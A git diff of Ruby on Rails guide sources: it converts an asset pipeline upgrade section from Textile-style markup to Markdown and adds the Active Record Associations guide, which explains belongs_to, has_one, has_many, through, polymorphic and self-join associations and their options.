+There are a few issues when upgrading. The first is moving the files from `public/` to the new locations. See [Asset Organization](#asset-organization) above for guidance on the correct locations for different file types.
-Next will be avoiding duplicate JavaScript files. Since jQuery is the default JavaScript library from Rails 3.1 onwards, you don't need to copy +jquery.js+ into +app/assets+ and it will be included automatically.
+Next will be avoiding duplicate JavaScript files. Since jQuery is the default JavaScript library from Rails 3.1 onwards, you don't need to copy `jquery.js` into `app/assets` and it will be included automatically.
The third is updating the various environment files with the correct default options. The following changes reflect the defaults in version 3.1.0.
-In +application.rb+:
+In `application.rb`:
-<erb>
+```ruby
# Enable the asset pipeline
config.assets.enabled = true
@@ -696,21 +694,21 @@ config.assets.version = '1.0'
# Change the path that assets are served from
# config.assets.prefix = "/assets"
-</erb>
+```
-In +development.rb+:
+In `development.rb`:
-<erb>
+```ruby
# Do not compress assets
config.assets.compress = false
# Expands the lines which load the assets
config.assets.debug = true
-</erb>
+```
-And in +production.rb+:
+And in `production.rb`:
-<erb>
+```ruby
# Compress JavaScripts and CSS
config.assets.compress = true
@@ -724,18 +722,15 @@ config.assets.compile = false
# Generate digests for assets URLs.
config.assets.digest = true
-# Defaults to nil and saved in location specified by config.assets.prefix
-# config.assets.manifest = YOUR_PATH
-
# Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added)
# config.assets.precompile += %w( search.js )
-</erb>
+```
-You should not need to change +test.rb+. The defaults in the test environment are: +config.assets.compile+ is true and +config.assets.compress+, +config.assets.debug+ and +config.assets.digest+ are false.
+You should not need to change `test.rb`. The defaults in the test environment are: `config.assets.compile` is true and `config.assets.compress`, `config.assets.debug` and `config.assets.digest` are false.
-The following should also be added to +Gemfile+:
+The following should also be added to `Gemfile`:
-<plain>
+```ruby
# Gems used only for assets and not required
# in production environments by default.
group :assets do
@@ -743,23 +738,23 @@ group :assets do
gem 'coffee-rails', "~> 3.2.1"
gem 'uglifier'
end
-</plain>
+```
-If you use the +assets+ group with Bundler, please make sure that your +config/application.rb+ has the following Bundler require statement:
+If you use the `assets` group with Bundler, please make sure that your `config/application.rb` has the following Bundler require statement:
-<ruby>
+```ruby
if defined?(Bundler)
# If you precompile assets before deploying to production, use this line
Bundler.require *Rails.groups(:assets => %w(development test))
# If you want your assets lazily compiled in production, use this line
# Bundler.require(:default, :assets, Rails.env)
end
-</ruby>
+```
Instead of the old Rails 3.0 version:
-<ruby>
+```ruby
# If you have a Gemfile, require the gems listed there, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(:default, Rails.env) if defined?(Bundler)
-</ruby>
+```
diff --git a/guides/source/association_basics.md b/guides/source/association_basics.md
new file mode 100644
index 0000000000..dbf18b511c
--- /dev/null
+++ b/guides/source/association_basics.md
@@ -0,0 +1,1974 @@
+A Guide to Active Record Associations
+=====================================
+
+This guide covers the association features of Active Record. By referring to this guide, you will be able to:
+
+* Declare associations between Active Record models
+* Understand the various types of Active Record associations
+* Use the methods added to your models by creating associations
+
+--------------------------------------------------------------------------------
+
+Why Associations?
+-----------------
+
+Why do we need associations between models? Because they make common operations simpler and easier in your code. For example, consider a simple Rails application that includes a model for customers and a model for orders. Each customer can have many orders. Without associations, the model declarations would look like this:
+
+```ruby
+class Customer < ActiveRecord::Base
+end
+
+class Order < ActiveRecord::Base
+end
+```
+
+Now, suppose we wanted to add a new order for an existing customer. We'd need to do something like this:
+
+```ruby
+@order = Order.create(:order_date => Time.now,
+ :customer_id => @customer.id)
+```
+
+Or consider deleting a customer, and ensuring that all of its orders get deleted as well:
+
+```ruby
+@orders = Order.where(:customer_id => @customer.id)
+@orders.each do |order|
+ order.destroy
+end
+@customer.destroy
+```
+
+With Active Record associations, we can streamline these -- and other -- operations by declaratively telling Rails that there is a connection between the two models. Here's the revised code for setting up customers and orders:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, :dependent => :destroy
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+```
+
+With this change, creating a new order for a particular customer is easier:
+
+```ruby
+@order = @customer.orders.create(:order_date => Time.now)
+```
+
+Deleting a customer and all of its orders is _much_ easier:
+
+```ruby
+@customer.destroy
+```
+
+To learn more about the different types of associations, read the next section of this guide. That's followed by some tips and tricks for working with associations, and then by a complete reference to the methods and options for associations in Rails.
+
+The Types of Associations
+-------------------------
+
+In Rails, an _association_ is a connection between two Active Record models. Associations are implemented using macro-style calls, so that you can declaratively add features to your models. For example, by declaring that one model `belongs_to` another, you instruct Rails to maintain Primary Key–Foreign Key information between instances of the two models, and you also get a number of utility methods added to your model. Rails supports six types of associations:
+
+* `belongs_to`
+* `has_one`
+* `has_many`
+* `has_many :through`
+* `has_one :through`
+* `has_and_belongs_to_many`
+
+In the remainder of this guide, you'll learn how to declare and use the various forms of associations. But first, a quick introduction to the situations where each association type is appropriate.
+
+### The `belongs_to` Association
+
+A `belongs_to` association sets up a one-to-one connection with another model, such that each instance of the declaring model "belongs to" one instance of the other model. For example, if your application includes customers and orders, and each order can be assigned to exactly one customer, you'd declare the order model this way:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+```
+
+![belongs_to Association Diagram](images/belongs_to.png)
+
+NOTE: `belongs_to` associations _must_ use the singular term. If you used the pluralized form in the above example for the `customer` association in the `Order` model, you would be told that there was an "uninitialized constant Order::Customers". This is because Rails automatically infers the class name from the association name. If the association name is wrongly pluralized, then the inferred class will be wrongly pluralized too.
+
+### The `has_one` Association
+
+A `has_one` association also sets up a one-to-one connection with another model, but with somewhat different semantics (and consequences). This association indicates that each instance of a model contains or possesses one instance of another model. For example, if each supplier in your application has only one account, you'd declare the supplier model like this:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account
+end
+```
+
+![has_one Association Diagram](images/has_one.png)
+
+### The `has_many` Association
+
+A `has_many` association indicates a one-to-many connection with another model. You'll often find this association on the "other side" of a `belongs_to` association. This association indicates that each instance of the model has zero or more instances of another model. For example, in an application containing customers and orders, the customer model could be declared like this:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+```
+
+NOTE: The name of the other model is pluralized when declaring a `has_many` association.
+
+![has_many Association Diagram](images/has_many.png)
+
+### The `has_many :through` Association
+
+A `has_many :through` association is often used to set up a many-to-many connection with another model. This association indicates that the declaring model can be matched with zero or more instances of another model by proceeding _through_ a third model. For example, consider a medical practice where patients make appointments to see physicians. The relevant association declarations could look like this:
+
+```ruby
+class Physician < ActiveRecord::Base
+ has_many :appointments
+ has_many :patients, :through => :appointments
+end
+
+class Appointment < ActiveRecord::Base
+ belongs_to :physician
+ belongs_to :patient
+end
+
+class Patient < ActiveRecord::Base
+ has_many :appointments
+ has_many :physicians, :through => :appointments
+end
+```
+
+![has_many :through Association Diagram](images/has_many_through.png)
+
+The collection of join models can be managed via the API. For example, if you assign
+
+```ruby
+physician.patients = patients
+```
+
+new join models are created for newly associated objects, and if some are gone their rows are deleted.
+
+WARNING: Automatic deletion of join models is direct, no destroy callbacks are triggered.
+
+The `has_many :through` association is also useful for setting up "shortcuts" through nested `has_many` associations. For example, if a document has many sections, and a section has many paragraphs, you may sometimes want to get a simple collection of all paragraphs in the document. You could set that up this way:
+
+```ruby
+class Document < ActiveRecord::Base
+ has_many :sections
+ has_many :paragraphs, :through => :sections
+end
+
+class Section < ActiveRecord::Base
+ belongs_to :document
+ has_many :paragraphs
+end
+
+class Paragraph < ActiveRecord::Base
+ belongs_to :section
+end
+```
+
+With `:through => :sections` specified, Rails will now understand:
+
+```ruby
+@document.paragraphs
+```
+
+### The `has_one :through` Association
+
+A `has_one :through` association sets up a one-to-one connection with another model. This association indicates that the declaring model can be matched with one instance of another model by proceeding _through_ a third model. For example, if each supplier has one account, and each account is associated with one account history, then the customer model could look like this:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account
+ has_one :account_history, :through => :account
+end
+
+class Account < ActiveRecord::Base
+ belongs_to :supplier
+ has_one :account_history
+end
+
+class AccountHistory < ActiveRecord::Base
+ belongs_to :account
+end
+```
+
+![has_one :through Association Diagram](images/has_one_through.png)
+
+### The `has_and_belongs_to_many` Association
+
+A `has_and_belongs_to_many` association creates a direct many-to-many connection with another model, with no intervening model. For example, if your application includes assemblies and parts, with each assembly having many parts and each part appearing in many assemblies, you could declare the models this way:
+
+```ruby
+class Assembly < ActiveRecord::Base
+ has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies
+end
+```
+
+![has_and_belongs_to_many Association Diagram](images/habtm.png)
+
+### Choosing Between `belongs_to` and `has_one`
+
+If you want to set up a one-to-one relationship between two models, you'll need to add `belongs_to` to one, and `has_one` to the other. How do you know which is which?
+
+The distinction is in where you place the foreign key (it goes on the table for the class declaring the `belongs_to` association), but you should give some thought to the actual meaning of the data as well. The `has_one` relationship says that one of something is yours - that is, that something points back to you. For example, it makes more sense to say that a supplier owns an account than that an account owns a supplier. This suggests that the correct relationships are like this:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account
+end
+
+class Account < ActiveRecord::Base
+ belongs_to :supplier
+end
+```
+
+The corresponding migration might look like this:
+
+```ruby
+class CreateSuppliers < ActiveRecord::Migration
+ def change
+ create_table :suppliers do |t|
+ t.string :name
+ t.timestamps
+ end
+
+ create_table :accounts do |t|
+ t.integer :supplier_id
+ t.string :account_number
+ t.timestamps
+ end
+ end
+end
+```
+
+NOTE: Using `t.integer :supplier_id` makes the foreign key naming obvious and explicit. In current versions of Rails, you can abstract away this implementation detail by using `t.references :supplier` instead.
+
+### Choosing Between `has_many :through` and `has_and_belongs_to_many`
+
+Rails offers two different ways to declare a many-to-many relationship between models. The simpler way is to use `has_and_belongs_to_many`, which allows you to make the association directly:
+
+```ruby
+class Assembly < ActiveRecord::Base
+ has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies
+end
+```
+
+The second way to declare a many-to-many relationship is to use `has_many :through`. This makes the association indirectly, through a join model:
+
+```ruby
+class Assembly < ActiveRecord::Base
+ has_many :manifests
+ has_many :parts, :through => :manifests
+end
+
+class Manifest < ActiveRecord::Base
+ belongs_to :assembly
+ belongs_to :part
+end
+
+class Part < ActiveRecord::Base
+ has_many :manifests
+ has_many :assemblies, :through => :manifests
+end
+```
+
+The simplest rule of thumb is that you should set up a `has_many :through` relationship if you need to work with the relationship model as an independent entity. If you don't need to do anything with the relationship model, it may be simpler to set up a `has_and_belongs_to_many` relationship (though you'll need to remember to create the joining table in the database).
+
+You should use `has_many :through` if you need validations, callbacks, or extra attributes on the join model.
+
+### Polymorphic Associations
+
+A slightly more advanced twist on associations is the _polymorphic association_. With polymorphic associations, a model can belong to more than one other model, on a single association. For example, you might have a picture model that belongs to either an employee model or a product model. Here's how this could be declared:
+
+```ruby
+class Picture < ActiveRecord::Base
+ belongs_to :imageable, :polymorphic => true
+end
+
+class Employee < ActiveRecord::Base
+ has_many :pictures, :as => :imageable
+end
+
+class Product < ActiveRecord::Base
+ has_many :pictures, :as => :imageable
+end
+```
+
+You can think of a polymorphic `belongs_to` declaration as setting up an interface that any other model can use. From an instance of the `Employee` model, you can retrieve a collection of pictures: `@employee.pictures`.
+
+Similarly, you can retrieve `@product.pictures`.
+
+If you have an instance of the `Picture` model, you can get to its parent via `@picture.imageable`. To make this work, you need to declare both a foreign key column and a type column in the model that declares the polymorphic interface:
+
+```ruby
+class CreatePictures < ActiveRecord::Migration
+ def change
+ create_table :pictures do |t|
+ t.string :name
+ t.integer :imageable_id
+ t.string :imageable_type
+ t.timestamps
+ end
+ end
+end
+```
+
+This migration can be simplified by using the `t.references` form:
+
+```ruby
+class CreatePictures < ActiveRecord::Migration
+ def change
+ create_table :pictures do |t|
+ t.string :name
+ t.references :imageable, :polymorphic => true
+ t.timestamps
+ end
+ end
+end
+```
+
+![Polymorphic Association Diagram](images/polymorphic.png)
+
+### Self Joins
+
+In designing a data model, you will sometimes find a model that should have a relation to itself. For example, you may want to store all employees in a single database model, but be able to trace relationships such as between manager and subordinates. This situation can be modeled with self-joining associations:
+
+```ruby
+class Employee < ActiveRecord::Base
+ has_many :subordinates, :class_name => "Employee",
+ :foreign_key => "manager_id"
+ belongs_to :manager, :class_name => "Employee"
+end
+```
+
+With this setup, you can retrieve `@employee.subordinates` and `@employee.manager`.
+
+Tips, Tricks, and Warnings
+--------------------------
+
+Here are a few things you should know to make efficient use of Active Record associations in your Rails applications:
+
+* Controlling caching
+* Avoiding name collisions
+* Updating the schema
+* Controlling association scope
+* Bi-directional associations
+
+### Controlling Caching
+
+All of the association methods are built around caching, which keeps the result of the most recent query available for further operations. The cache is even shared across methods. For example:
+
+```ruby
+customer.orders # retrieves orders from the database
+customer.orders.size # uses the cached copy of orders
+customer.orders.empty? # uses the cached copy of orders
+```
+
+But what if you want to reload the cache, because data might have been changed by some other part of the application? Just pass `true` to the association call:
+
+```ruby
+customer.orders # retrieves orders from the database
+customer.orders.size # uses the cached copy of orders
+customer.orders(true).empty? # discards the cached copy of orders
+ # and goes back to the database
+```
+
+### Avoiding Name Collisions
+
+You are not free to use just any name for your associations. Because creating an association adds a method with that name to the model, it is a bad idea to give an association a name that is already used for an instance method of `ActiveRecord::Base`. The association method would override the base method and break things. For instance, `attributes` or `connection` are bad names for associations.
+
+### Updating the Schema
+
+Associations are extremely useful, but they are not magic. You are responsible for maintaining your database schema to match your associations. In practice, this means two things, depending on what sort of associations you are creating. For `belongs_to` associations you need to create foreign keys, and for `has_and_belongs_to_many` associations you need to create the appropriate join table.
+
+#### Creating Foreign Keys for `belongs_to` Associations
+
+When you declare a `belongs_to` association, you need to create foreign keys as appropriate. For example, consider this model:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+```
+
+This declaration needs to be backed up by the proper foreign key declaration on the orders table:
+
+```ruby
+class CreateOrders < ActiveRecord::Migration
+ def change
+ create_table :orders do |t|
+ t.datetime :order_date
+ t.string :order_number
+ t.integer :customer_id
+ end
+ end
+end
+```
+
+If you create an association some time after you build the underlying model, you need to remember to create an `add_column` migration to provide the necessary foreign key.
+
+#### Creating Join Tables for `has_and_belongs_to_many` Associations
+
+If you create a `has_and_belongs_to_many` association, you need to explicitly create the joining table. Unless the name of the join table is explicitly specified by using the `:join_table` option, Active Record creates the name by using the lexical order of the class names. So a join between customer and order models will give the default join table name of "customers_orders" because "c" outranks "o" in lexical ordering.
+
+WARNING: The precedence between model names is calculated using the `<` operator for `String`. This means that if the strings are of different lengths, and the strings are equal when compared up to the shortest length, then the longer string is considered of higher lexical precedence than the shorter one. For example, one would expect the tables "paper\_boxes" and "papers" to generate a join table name of "papers\_paper\_boxes" because of the length of the name "paper\_boxes", but it in fact generates a join table name of "paper\_boxes\_papers" (because the underscore '\_' is lexicographically _less_ than 's' in common encodings).
+
+Whatever the name, you must manually generate the join table with an appropriate migration. For example, consider these associations:
+
+```ruby
+class Assembly < ActiveRecord::Base
+ has_and_belongs_to_many :parts
+end
+
+class Part < ActiveRecord::Base
+ has_and_belongs_to_many :assemblies
+end
+```
+
+These need to be backed up by a migration to create the `assemblies_parts` table. This table should be created without a primary key:
+
+```ruby
+class CreateAssemblyPartJoinTable < ActiveRecord::Migration
+ def change
+ create_table :assemblies_parts, :id => false do |t|
+ t.integer :assembly_id
+ t.integer :part_id
+ end
+ end
+end
+```
+
+We pass `:id => false` to `create_table` because that table does not represent a model. That's required for the association to work properly. If you observe any strange behavior in a `has_and_belongs_to_many` association like mangled models IDs, or exceptions about conflicting IDs chances are you forgot that bit.
+
+### Controlling Association Scope
+
+By default, associations look for objects only within the current module's scope. This can be important when you declare Active Record models within a module. For example:
+
+```ruby
+module MyApplication
+ module Business
+ class Supplier < ActiveRecord::Base
+ has_one :account
+ end
+
+ class Account < ActiveRecord::Base
+ belongs_to :supplier
+ end
+ end
+end
+```
+
+This will work fine, because both the `Supplier` and the `Account` class are defined within the same scope. But the following will _not_ work, because `Supplier` and `Account` are defined in different scopes:
+
+```ruby
+module MyApplication
+ module Business
+ class Supplier < ActiveRecord::Base
+ has_one :account
+ end
+ end
+
+ module Billing
+ class Account < ActiveRecord::Base
+ belongs_to :supplier
+ end
+ end
+end
+```
+
+To associate a model with a model in a different namespace, you must specify the complete class name in your association declaration:
+
+```ruby
+module MyApplication
+ module Business
+ class Supplier < ActiveRecord::Base
+ has_one :account,
+ :class_name => "MyApplication::Billing::Account"
+ end
+ end
+
+ module Billing
+ class Account < ActiveRecord::Base
+ belongs_to :supplier,
+ :class_name => "MyApplication::Business::Supplier"
+ end
+ end
+end
+```
+
+### Bi-directional Associations
+
+It's normal for associations to work in two directions, requiring declaration on two different models:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+```
+
+By default, Active Record doesn't know about the connection between these associations. This can lead to two copies of an object getting out of sync:
+
+```ruby
+c = Customer.first
+o = c.orders.first
+c.first_name == o.customer.first_name # => true
+c.first_name = 'Manny'
+c.first_name == o.customer.first_name # => false
+```
+
+This happens because c and o.customer are two different in-memory representations of the same data, and neither one is automatically refreshed from changes to the other. Active Record provides the `:inverse_of` option so that you can inform it of these relations:
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, :inverse_of => :customer
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer, :inverse_of => :orders
+end
+```
+
+With these changes, Active Record will only load one copy of the customer object, preventing inconsistencies and making your application more efficient:
+
+```ruby
+c = Customer.first
+o = c.orders.first
+c.first_name == o.customer.first_name # => true
+c.first_name = 'Manny'
+c.first_name == o.customer.first_name # => true
+```
+
+There are a few limitations to `inverse_of` support:
+
+* They do not work with `:through` associations.
+* They do not work with `:polymorphic` associations.
+* They do not work with `:as` associations.
+* For `belongs_to` associations, `has_many` inverse associations are ignored.
+
+Detailed Association Reference
+------------------------------
+
+The following sections give the details of each type of association, including the methods that they add and the options that you can use when declaring an association.
+
+### `belongs_to` Association Reference
+
+The `belongs_to` association creates a one-to-one match with another model. In database terms, this association says that this class contains the foreign key. If the other class contains the foreign key, then you should use `has_one` instead.
+
+#### Methods Added by `belongs_to`
+
+When you declare a `belongs_to` association, the declaring class automatically gains four methods related to the association:
+
+* `association(force_reload = false)`
+* `association=(associate)`
+* `build_association(attributes = {})`
+* `create_association(attributes = {})`
+
+In all of these methods, `association` is replaced with the symbol passed as the first argument to `belongs_to`. For example, given the declaration:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+```
+
+Each instance of the order model will have these methods:
+
+```ruby
+customer
+customer=
+build_customer
+create_customer
+```
+
+NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix.
+
+##### `association(force_reload = false)`
+
+The `association` method returns the associated object, if any. If no associated object is found, it returns `nil`.
+
+```ruby
+@customer = @order.customer
+```
+
+If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass `true` as the `force_reload` argument.
+
+##### `association=(associate)`
+
+The `association=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from the associate object and setting this object's foreign key to the same value.
+
+```ruby
+@order.customer = @customer
+```
+
+##### `build_association(attributes = {})`
+
+The `build_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through this object's foreign key will be set, but the associated object will _not_ yet be saved.
+
+```ruby
+@customer = @order.build_customer(:customer_number => 123,
+ :customer_name => "John Doe")
+```
+
+##### `create_association(attributes = {})`
+
+The `create_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through this object's foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+
+```ruby
+@customer = @order.create_customer(:customer_number => 123,
+ :customer_name => "John Doe")
+```
+
+
+#### Options for `belongs_to`
+
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `belongs_to` association reference. Such customizations can easily be accomplished by passing options and scope blocks when you create the association. For example, this assocation uses two such options:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer, :dependent => :destroy,
+ :counter_cache => true
+end
+```
+
+The `belongs_to` association supports these options:
+
+* `:autosave`
+* `:class_name`
+* `:counter_cache`
+* `:dependent`
+* `:foreign_key`
+* `:inverse_of`
+* `:polymorphic`
+* `:touch`
+* `:validate`
+
+##### `:autosave`
+
+If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+##### `:class_name`
+
+If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if an order belongs to a customer, but the actual name of the model containing customers is `Patron`, you'd set things up this way:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer, :class_name => "Patron"
+end
+```
+
+##### `:counter_cache`
+
+The `:counter_cache` option can be used to make finding the number of belonging objects more efficient. Consider these models:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer
+end
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+```
+
+With these declarations, asking for the value of `@customer.orders.size` requires making a call to the database to perform a `COUNT(*)` query. To avoid this call, you can add a counter cache to the _belonging_ model:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer, :counter_cache => true
+end
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+```
+
+With this declaration, Rails will keep the cache value up to date, and then return that value in response to the `size` method.
+
+Although the `:counter_cache` option is specified on the model that includes the `belongs_to` declaration, the actual column must be added to the _associated_ model. In the case above, you would need to add a column named `orders_count` to the `Customer` model. You can override the default column name if you need to:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer, :counter_cache => :count_of_orders
+end
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+```
+
+Counter cache columns are added to the containing model's list of read-only attributes through `attr_readonly`.
+
+##### `:dependent`
+
+If you set the `:dependent` option to `:destroy`, then deleting this object will call the `destroy` method on the associated object to delete that object. If you set the `:dependent` option to `:delete`, then deleting this object will delete the associated object _without_ calling its `destroy` method.
+
+WARNING: You should not specify this option on a `belongs_to` association that is connected with a `has_many` association on the other class. Doing so can lead to orphaned records in your database.
+
+##### `:foreign_key`
+
+By convention, Rails assumes that the column used to hold the foreign key on this model is the name of the association with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer, :class_name => "Patron",
+ :foreign_key => "patron_id"
+end
+```
+
+TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+##### `:inverse_of`
+
+The `:inverse_of` option specifies the name of the `has_many` or `has_one` association that is the inverse of this association. Does not work in combination with the `:polymorphic` options.
+
+```ruby
+class Customer < ActiveRecord::Base
+ has_many :orders, :inverse_of => :customer
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer, :inverse_of => :orders
+end
+```
+
+##### `:polymorphic`
+
+Passing `true` to the `:polymorphic` option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
+
+##### `:touch`
+
+If you set the `:touch` option to `:true`, then the `updated_at` or `updated_on` timestamp on the associated object will be set to the current time whenever this object is saved or destroyed:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer, :touch => true
+end
+
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+```
+
+In this case, saving or destroying an order will update the timestamp on the associated customer. You can also specify a particular timestamp attribute to update:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer, :touch => :orders_updated_at
+end
+```
+
+##### `:validate`
+
+If you set the `:validate` option to `true`, then associated objects will be validated whenever you save this object. By default, this is `false`: associated objects will not be validated when this object is saved.
+
+#### Scopes for `belongs_to`
+
+There may be times when you wish to customize the query used by `belongs_to`. Such customizations can be achieved via a scope block. For example:
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer, -> { where :active => true },
+ :dependent => :destroy
+end
+```
+
+You can use any of the standard [querying methods](active_record_querying.html) inside the scope block. The following ones are discussed below:
+
+* `where`
+* `includes`
+* `readonly`
+* `select`
+
+##### `where`
+
+The `where` method lets you specify the conditions that the associated object must meet.
+
+```ruby
+class Order < ActiveRecord::Base
+ belongs_to :customer, -> { where :active => true }
+end
+```
+
+##### `includes`
+
+You can use the `includes` method let you specify second-order associations that should be eager-loaded when this association is used. For example, consider these models:
+
+```ruby
+class LineItem < ActiveRecord::Base
+ belongs_to :order
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer
+ has_many :line_items
+end
+
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+```
+
+If you frequently retrieve customers directly from line items (`@line_item.order.customer`), then you can make your code somewhat more efficient by including customers in the association from line items to orders:
+
+```ruby
+class LineItem < ActiveRecord::Base
+ belongs_to :order, -> { includes :customer }
+end
+
+class Order < ActiveRecord::Base
+ belongs_to :customer
+ has_many :line_items
+end
+
+class Customer < ActiveRecord::Base
+ has_many :orders
+end
+```
+
+NOTE: There's no need to use `includes` for immediate associations - that is, if you have `Order belongs_to :customer`, then the customer is eager-loaded automatically when it's needed.
+
+##### `readonly`
+
+If you use `readonly`, then the associated object will be read-only when retrieved via the association.
+
+##### `select`
+
+The `select` method lets you override the SQL `SELECT` clause that is used to retrieve data about the associated object. By default, Rails retrieves all columns.
+
+TIP: If you use the `select` method on a `belongs_to` association, you should also set the `:foreign_key` option to guarantee the correct results.
+
+#### Do Any Associated Objects Exist?
+
+You can see if any associated objects exist by using the `association.nil?` method:
+
+```ruby
+if @order.customer.nil?
+ @msg = "No customer found for this order"
+end
+```
+
+#### When are Objects Saved?
+
+Assigning an object to a `belongs_to` association does _not_ automatically save the object. It does not save the associated object either.
+
+### `has_one` Association Reference
+
+The `has_one` association creates a one-to-one match with another model. In database terms, this association says that the other class contains the foreign key. If this class contains the foreign key, then you should use `belongs_to` instead.
+
+#### Methods Added by `has_one`
+
+When you declare a `has_one` association, the declaring class automatically gains four methods related to the association:
+
+* `association(force_reload = false)`
+* `association=(associate)`
+* `build_association(attributes = {})`
+* `create_association(attributes = {})`
+
+In all of these methods, `association` is replaced with the symbol passed as the first argument to `has_one`. For example, given the declaration:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account
+end
+```
+
+Each instance of the `Supplier` model will have these methods:
+
+```ruby
+account
+account=
+build_account
+create_account
+```
+
+NOTE: When initializing a new `has_one` or `belongs_to` association you must use the `build_` prefix to build the association, rather than the `association.build` method that would be used for `has_many` or `has_and_belongs_to_many` associations. To create one, use the `create_` prefix.
+
+##### `association(force_reload = false)`
+
+The `association` method returns the associated object, if any. If no associated object is found, it returns `nil`.
+
+```ruby
+@account = @supplier.account
+```
+
+If the associated object has already been retrieved from the database for this object, the cached version will be returned. To override this behavior (and force a database read), pass `true` as the `force_reload` argument.
+
+##### `association=(associate)`
+
+The `association=` method assigns an associated object to this object. Behind the scenes, this means extracting the primary key from this object and setting the associate object's foreign key to the same value.
+
+```ruby
+@supplier.account = @account
+```
+
+##### `build_association(attributes = {})`
+
+The `build_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, and the link through its foreign key will be set, but the associated object will _not_ yet be saved.
+
+```ruby
+@account = @supplier.build_account(:terms => "Net 30")
+```
+
+##### `create_association(attributes = {})`
+
+The `create_association` method returns a new object of the associated type. This object will be instantiated from the passed attributes, the link through its foreign key will be set, and, once it passes all of the validations specified on the associated model, the associated object _will_ be saved.
+
+```ruby
+@account = @supplier.create_account(:terms => "Net 30")
+```
+
+#### Options for `has_one`
+
+While Rails uses intelligent defaults that will work well in most situations, there may be times when you want to customize the behavior of the `has_one` association reference. Such customizations can easily be accomplished by passing options when you create the association. For example, this assocation uses two such options:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account, :class_name => "Billing", :dependent => :nullify
+end
+```
+
+The `has_one` association supports these options:
+
+* `:as`
+* `:autosave`
+* `:class_name`
+* `:dependent`
+* `:foreign_key`
+* `:inverse_of`
+* `:primary_key`
+* `:source`
+* `:source_type`
+* `:through`
+* `:validate`
+
+##### `:as`
+
+Setting the `:as` option indicates that this is a polymorphic association. Polymorphic associations were discussed in detail <a href="#polymorphic-associations">earlier in this guide</a>.
+
+##### `:autosave`
+
+If you set the `:autosave` option to `true`, Rails will save any loaded members and destroy members that are marked for destruction whenever you save the parent object.
+
+##### `:class_name`
+
+If the name of the other model cannot be derived from the association name, you can use the `:class_name` option to supply the model name. For example, if a supplier has an account, but the actual name of the model containing accounts is `Billing`, you'd set things up this way:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account, :class_name => "Billing"
+end
+```
+
+##### `:dependent`
+
+Controls what happens to the associated object when its owner is destroyed:
+
+* `:destroy` causes the associated object to also be destroyed
+* `:delete` causes the asssociated object to be deleted directly from the database (so callbacks will not execute)
+* `:nullify` causes the foreign key to be set to `NULL`. Callbacks are not executed.
+* `:restrict_with_exception` causes an exception to be raised if there is an associated record
+* `:restrict_with_error` causes an error to be added to the owner if there is an associated object
+
+##### `:foreign_key`
+
+By convention, Rails assumes that the column used to hold the foreign key on the other model is the name of this model with the suffix `_id` added. The `:foreign_key` option lets you set the name of the foreign key directly:
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account, :foreign_key => "supp_id"
+end
+```
+
+TIP: In any case, Rails will not create foreign key columns for you. You need to explicitly define them as part of your migrations.
+
+##### `:inverse_of`
+
+The `:inverse_of` option specifies the name of the `belongs_to` association that is the inverse of this association. Does not work in combination with the `:through` or `:as` options.
+
+```ruby
+class Supplier < ActiveRecord::Base
+ has_one :account, :inverse_of => :supplier
+end
+
+class Account < ActiveRecord::Base
+ belongs_to :supplier, :inverse_of => :account
+end
+```
+
